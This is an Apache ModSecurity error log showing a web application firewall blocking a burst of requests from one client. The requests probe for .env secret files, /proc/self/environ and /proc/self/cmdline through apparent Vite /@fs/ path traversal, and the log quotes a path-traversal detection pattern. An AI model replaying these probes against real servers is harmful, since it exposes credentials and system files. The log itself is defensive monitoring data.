[Sun Oct 25 14:43:04.425048 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5NuBNl8ZOaBiavdxV-lgAAACc"]
[Sun Oct 25 14:43:04.425435 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5NuBNl8ZOaBiavdxV-lgAAACc"]
[Sun Oct 25 14:43:04.425652 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5NuBNl8ZOaBiavdxV-lgAAACc"]
[Sun Oct 25 14:43:04.439281 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/proc/self/cmdline"] [unique_id "at5NuMAxLusXGhv5UJnA4gAAABE"]
[Sun Oct 25 14:43:04.439317 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/proc/self/cmdline"] [unique_id "at5NuMAxLusXGhv5UJnA4gAAABE"]
[Sun Oct 25 14:43:04.440560 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgcQAAABg"]
[Sun Oct 25 14:43:04.440645 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgcQAAABg"]
[Sun Oct 25 14:43:04.441072 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgcQAAABg"]
[Sun Oct 25 14:43:04.441283 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgcQAAABg"]
[Sun Oct 25 14:43:04.455832 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5NuN6BoG8GuVESjJgBcgAAACU"]
[Sun Oct 25 14:43:04.456346 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5NuN6BoG8GuVESjJgBcgAAACU"]
[Sun Oct 25 14:43:04.456584 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5NuN6BoG8GuVESjJgBcgAAACU"]
[Sun Oct 25 14:43:04.457865 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwngAAABI"]
[Sun Oct 25 14:43:04.458122 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwngAAABI"]
[Sun Oct 25 14:43:04.660356 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuAl_YuTmdn3pCPOXkwAAAAk"]
[Sun Oct 25 14:43:04.660915 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuAl_YuTmdn3pCPOXkwAAAAk"]
[Sun Oct 25 14:43:04.661229 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuAl_YuTmdn3pCPOXkwAAAAk"]
[Sun Oct 25 14:43:04.685591 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgcgAAABg"]
[Sun Oct 25 14:43:04.686085 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgcgAAABg"]
[Sun Oct 25 14:43:04.686488 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgcgAAABg"]
[Sun Oct 25 14:43:04.689247 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5NuDh4F5IzB4_aosIHkAAAABQ"]
[Sun Oct 25 14:43:04.689562 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5NuDh4F5IzB4_aosIHkAAAABQ"]
[Sun Oct 25 14:43:04.689815 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5NuDh4F5IzB4_aosIHkAAAABQ"]
[Sun Oct 25 14:43:04.691604 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwnwAAABI"]
[Sun Oct 25 14:43:04.692135 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5NuN6BoG8GuVESjJgBcwAAACU"]
[Sun Oct 25 14:43:04.692182 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwnwAAABI"]
[Sun Oct 25 14:43:04.692413 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwnwAAABI"]
[Sun Oct 25 14:43:04.692643 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5NuN6BoG8GuVESjJgBcwAAACU"]
[Sun Oct 25 14:43:04.693187 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5NuN6BoG8GuVESjJgBcwAAACU"]
[Sun Oct 25 14:43:04.694308 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuvQAAAB8"]
[Sun Oct 25 14:43:04.694599 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuvQAAAB8"]
[Sun Oct 25 14:43:04.694809 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuvQAAAB8"]
[Sun Oct 25 14:43:04.695801 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5NuBNl8ZOaBiavdxV-mAAAACc"]
[Sun Oct 25 14:43:04.696296 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5NuBNl8ZOaBiavdxV-mAAAACc"]
[Sun Oct 25 14:43:04.696515 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5NuBNl8ZOaBiavdxV-mAAAACc"]
[Sun Oct 25 14:43:04.697461 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuMAxLusXGhv5UJnA4wAAABE"]
[Sun Oct 25 14:43:04.697790 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuMAxLusXGhv5UJnA4wAAABE"]
[Sun Oct 25 14:43:04.698011 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuMAxLusXGhv5UJnA4wAAABE"]
[Sun Oct 25 14:43:04.698984 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5NuOapooGEQlE2Ll6VxQAAACY"]
